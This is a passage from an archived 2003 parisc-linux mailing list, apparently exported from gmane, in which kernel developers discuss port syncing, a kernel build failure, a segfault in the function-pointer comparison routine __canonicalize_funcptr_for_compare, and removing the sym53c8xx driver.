have problems. For MIPS, even some boards got removed some time ago and
there are more which may follow. So please, don't get me wrong here.
Some boards do work quite good most og the time (taking current port's
source trees), some do not. Simply take it as "PeeCee is less bug prone
than my super-rare MIPS/PPC/whatever eval board".

> The PA-RISC port doesn't have much in the way of tweaks to common drivers.

"Not much" means there are some. These should go upstream at some time,
or we may need to get a better way to deal with specific things. As the
(E)ISA bus in Indigo2 is getting available, there may be some things
that need to get cleaned up in ISA code. Soma counts here...

> I don't understand why you say for 2.4:
>=20
> "Nearly up to date, many patches need to go upstream"

Everything synced up (maybe except yesterday's work)?

> and for 2.5:
>=20
> "Not really up to date, but not far away; some work needs to be done..."

Well, I think it's basically about accepting or not accepting the fact
that some archs/boards are being developed without syncing "too early"
with upstream. This leads to:

	- I need to have more than one source tree laying around.
	- Unintended breakages show up too late.
	- Unintended conflicts may arise from syncing up later than
	  "now".

For me, I'd like to have _one_ tree which works in all situations
(except yesterday's work...). While whining for that, I'm also asking
for hints what _I_ can do to make this happen. Parisc is even one of the
more "simpler" ports to sync up...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--YrHeAUbOAX9OMs3W
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+wegzHb1edYOZ4bsRAi8MAJ94NS8KULmirKv/k4STopd++Vi+nQCbBjrL
Pd+FMfT6NUkWFQF16WZMNJs=
=kDwz
-----END PGP SIGNATURE-----

--YrHeAUbOAX9OMs3W--


From - Thu Nov 08 21:27:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: Dump module patche.
Date: Wed, 14 May 2003 13:47:19 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <3EC0FF2300000638@ocpmta7.freegates.net>
References: <3EB8AF58.7040900@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622455 25723 80.91.229.3 (22 Nov 2014 02:14:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bruno Vidal" <bruno_vidal@hpfrcu03.france.hp.com>,
	"Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 14 05:55:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DF07482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 May 2003 05:55:04 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 14 May 2003 13:47:19 +0200
In-Reply-To: <3EB8AF58.7040900@admin.france.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18477

Hi Bruno,

>
>Attachment: dump_modules-2.4.20-pa32.patch2
>
I apply it against last 2.4.20-pa35 (do not have any more pa22 :( ) (just
2 hunk to remove). Unfortunately it failed to compile with following message:
`gcc-3.0 -print-libgcc-file-name` /usr/src/LKCD/hppa/linux-2.4.20-pa35-lkcd/arch/parisc/lib/lib.a
/usr/src/LKCD/hppa/linux-2.4.20-pa35-lkcd/lib/lib.a  \
	--end-group \
	-o vmlinux
fs/fs.o(.debug_info+0x6fbaf): undefined reference to `.L1225'
make: *** [vmlinux] Error 1

(Sorry I already met this kind of pb but do not remember how to solve :()

Thanks for your undertand,
    Joel

PS: No more support of compression (I tried libz2 but it do not found some
object at ld time)?

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] more on canonicalize_funcptr_for_compare
Date: Wed, 14 May 2003 14:46:50 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <20030514134650.GC6859@parcelfarce.linux.theplanet.co.uk>
References: <20030514055225.GJ548@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622455 25725 80.91.229.3 (22 Nov 2014 02:14:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 14 07:46:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D6FE4832
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 May 2003 07:46:52 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19Fwao-0003cH-MD; Wed, 14 May 2003 14:46:50 +0100
Content-Disposition: inline
In-Reply-To: <20030514055225.GJ548@tausq.org>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18478

On Tue, May 13, 2003 at 10:52:25PM -0700, Randolph Chung wrote:
> The latest glibc on hppa (2.3.1-17) was compiled with a gcc-3.2 which
> has the __canonicalize_funcptr_for_compare patch backported from gcc-3.3
> ... with this new version, some programs will die on startup (e.g. vim).
> I traced to a segfault in __canonicalize_funcptr_for_compare. 
> 
> The testcase below illustrates the problem:
> 
> =====
> typedef void (*func_t)(void);
> 
> #define N ((func_t)2)
> 
> void foo(void) {};
> 
> int main(int argc, char **argv)
> {
>         return (foo == N);
> }
> =====
> 
> this program segfaults when run with:
> 
> (gdb) run
> Starting program: /home/tausq/sig
> 
> Program received signal SIGSEGV, Segmentation fault.
> 0x00010530 in __canonicalize_funcptr_for_compare ()
> (gdb) bt
> #0  0x00010530 in __canonicalize_funcptr_for_compare ()
> #1  0x000104bc in main (argc=1, argv=0xfaf001b8) at sig.c:9
> 
> it seems like the 2 in the constant (N) confuses the comparision
> routine. If I change it to 1, everything is ok.... I don't really
> understand this tho, because the code for __c_f_f_c has something like:
> 
> if ((int) fptr == -1 || (unsigned int) fptr < 4096 || !((int) fptr & 2))
>     return (unsigned int) fptr;
> 
> so, why doesn't that match the second || case and exit?  (gdb
> disassmbly shows that the code tries to dereference the fptr argument
> and segfaults)

Even if this were fixed, it seems like a quality of implementation issue.
Basically, we're saying that if none of these conditions are met, it's
safe to dereference this pointer, and I'm sure we'll find people stuffing
other magic values into pointers.

I see three options:

1) Continue with this, accepting that some badly written software won't
   run.

2) Install a signal handler that handles the segfault (we can lose two of
   the tests this way, so it'll be faster in the common case)

3) Change the ABI.  Make it so we always have unique PLabels.  Recompile
   anything necessary.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] more on canonicalize_funcptr_for_compare
Date: Wed, 14 May 2003 08:04:01 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20030514150401.GM548@tausq.org>
References: <20030514055225.GJ548@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622455 25726 80.91.229.3 (22 Nov 2014 02:14:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 14 09:01:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9FD534832
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 May 2003 09:01:15 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 54795CD28E; Wed, 14 May 2003 08:04:01 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030514055225.GJ548@tausq.org>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18479

> if ((int) fptr == -1 || (unsigned int) fptr < 4096 || !((int) fptr & 2))
>     return (unsigned int) fptr;
> 
> so, why doesn't that match the second || case and exit?  (gdb
> disassmbly shows that the code tries to dereference the fptr argument
> and segfaults)

sigh, after some sleep i realize that i was looking at the real 3.3 tree
instead of my backport, and in the current 3.2 patch the second test is
missing....  (because it was derived from an earlier snapshot of jda's
patch)

i'll send an update to debian-gcc... sorry about this.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH-2.5] Various cleanups
Date: Wed, 14 May 2003 18:40:30 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <3EC0FF230000091A@ocpmta7.freegates.net>
References: <200305121624.h4CGOMq1001557@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622456 25728 80.91.229.3 (22 Nov 2014 02:14:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:16 +0000 (UTC)
Cc: jbglaw@lug-owl.de, parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>, randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 14 10:40:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 931CD4832
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 May 2003 10:40:41 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 14 May 2003 18:40:30 +0200
In-Reply-To: <200305121624.h4CGOMq1001557@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18480

>> how does that work? __c_f_f_c is emitted by the compiler internally,
>> right? how can we define an inline version of this function?
>
>Dooh, you are correct.  I wrote a little test program and the libcall
>doesn't get inlined.
>
>So if no canonicalization is needed, you want something like:
>
>typedef int (*fptr_t) (void);
>
>unsigned int __canonicalize_funcptr_for_compare (fptr_t)
>      __attribute__ ((visibility ("hidden")));
>
>unsigned int
>__canonicalize_funcptr_for_compare (fptr)
>   fptr_t fptr;
>{
>  return (unsigned int)fptr;
>}
>
>The libgcc version is hidden.  That's because shared libraries need
>their own copy which accesses the got table in the shared library.
>Probably in the kernel implementation, a single copy of the routine
>is sufficient and you don't want the hidden attibute.
>
Hi all,

I just try to build a kernel with following stuff:
add first include/asm-parisc/fptr.h:

typedef int (*fptr_t) (void);

extern unsigned int __canonicalize_funcptr_for_compare (fptr_t)
      __attribute__ ((visibility ("hidden")));


and arch/parisc/lib/fptr.c 


#include <asm/fptr.h>

unsigned int
__canonicalize_funcptr_for_compare (fptr)
     fptr_t fptr;
{
    return (unsigned int) fptr;
}

also arch/parisc/kernel/parisc_ksyms.c:
[...]
#include <asm/fptr.h>  
EXPORT_SYMBOL(__canonicalize_funcptr_for_compare);


to finaly arch/parisc/lib/Makefile:
-obj-y   := lusercopy.o bitops.o checksum.o io.o memset.o
+obj-y   := lusercopy.o bitops.o checksum.o io.o memset.o fptr.o

The compile seems ok but knowing not yet anything about modules I would appreciate
your advises before trying to boot it.

Thanks,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] more on canonicalize_funcptr_for_compare
Date: Wed, 14 May 2003 12:43:33 -0400 (EDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <200305141643.h4EGhX8X012117@hiauly1.hia.nrc.ca>
References: <20030514134650.GC6859@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622456 25733 80.91.229.3 (22 Nov 2014 02:14:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:16 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 14 10:43:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E7AD4832
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 May 2003 10:43:36 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4EGhYgL012119;
	Wed, 14 May 2003 12:43:34 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4EGhX8X012117;
	Wed, 14 May 2003 12:43:33 -0400 (EDT)
In-Reply-To: <20030514134650.GC6859@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at May 14, 2003 02:46:50 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18481

> > if ((int) fptr == -1 || (unsigned int) fptr < 4096 || !((int) fptr & 2))
> >     return (unsigned int) fptr;
> > 
> > so, why doesn't that match the second || case and exit?  (gdb
> > disassmbly shows that the code tries to dereference the fptr argument
> > and segfaults)
> 
> Even if this were fixed, it seems like a quality of implementation issue.
> Basically, we're saying that if none of these conditions are met, it's
> safe to dereference this pointer, and I'm sure we'll find people stuffing
> other magic values into pointers.

The magic values were arbitrarily chosen to be the same as under hpux.

> I see three options:
> 
> 1) Continue with this, accepting that some badly written software won't
>    run.

I'm not going to lose sleep on this one.  Obviously, using implementation
dependent features of function pointers is not portable.

> 2) Install a signal handler that handles the segfault (we can lose two of
>    the tests this way, so it'll be faster in the common case)
> 
> 3) Change the ABI.  Make it so we always have unique PLabels.  Recompile
>    anything necessary.

It would be nice to have the 32 and 64 bit ABIs the same in this
respect.  However, this requires non trivial changes to the dynamic
loader and linker.  I'm not sure what the extra overhead would be.
Function pointer comparisons aren't done very often in user code.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: Dump module patche.
Date: Wed, 14 May 2003 14:01:37 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200305141801.h4EI1ca3012585@hiauly1.hia.nrc.ca>
References: <3EC0FF2300000638@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622456 25737 80.91.229.3 (22 Nov 2014 02:14:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:16 +0000 (UTC)
Cc: bruno_vidal@hpfrcu03.france.hp.com,
	grundler@dsl2.external.hp.com, parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 14 12:14:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A9BA482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 May 2003 12:14:32 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4EIEUgL012638
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 May 2003 14:14:31 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4EI1ca3012585;
	Wed, 14 May 2003 14:01:38 -0400 (EDT)
In-Reply-To: <3EC0FF2300000638@ocpmta7.freegates.net> from "Joel Soete" at May 14, 2003 01:47:19 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18482

> >Attachment: dump_modules-2.4.20-pa32.patch2
> >
> I apply it against last 2.4.20-pa35 (do not have any more pa22 :( ) (just
> 2 hunk to remove). Unfortunately it failed to compile with following message:
> `gcc-3.0 -print-libgcc-file-name` /usr/src/LKCD/hppa/linux-2.4.20-pa35-lkcd/arch/parisc/lib/lib.a
> /usr/src/LKCD/hppa/linux-2.4.20-pa35-lkcd/lib/lib.a  \
> 	--end-group \
> 	-o vmlinux
> fs/fs.o(.debug_info+0x6fbaf): undefined reference to `.L1225'
> make: *** [vmlinux] Error 1
> 
> (Sorry I already met this kind of pb but do not remember how to solve :()

At first glance, this would appear to be a GCC bug.  If I was to guess,
it's a problem with a label for a jump table being deleted.

You might be able to avoid the problem by compiling fs.o with a different
optimization.  The problem could be investigated further by generating
the assember output for the routine with -g.  Search for the above label.
The debug information in the file will allow finding the source line.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sym53c8xx.c
Date: Wed, 14 May 2003 22:58:49 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20030514215849.GK6859@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622456 25739 80.91.229.3 (22 Nov 2014 02:14:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:16 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 14 15:58:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7C2C482D
	for <parisc-linux@parisc-linux.org>; Wed, 14 May 2003 15:58:50 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19G4Gv-0002vx-Fo
	for parisc-linux@parisc-linux.org; Wed, 14 May 2003 22:58:49 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18483

The sym53c8xx driver is near to being removed from 2.6.  Can anyone think
of a situation where we might still want it?  I'm concerned that maybe
some of the fixes didn't go into the sym53c8xx_2 driver.  In particular,
I'd like to know that the sym53c8xx_2 driver in 2.5 works on C3k (wide &
narrow!) and A500.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sym53c8xx.c
Date: 14 May 2003 17:19:27 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <1052950768.3430.32.camel@mulgrave>
References: <20030514215849.GK6859@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622457 25740 80.91.229.3 (22 Nov 2014 02:14:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:17 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 14 16:20:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id B3C1F482D
	for <parisc-linux@parisc-linux.org>; Wed, 14 May 2003 16:20:00 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h4EMJSI25092;
	Wed, 14 May 2003 18:19:28 -0400
In-Reply-To: <20030514215849.GK6859@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
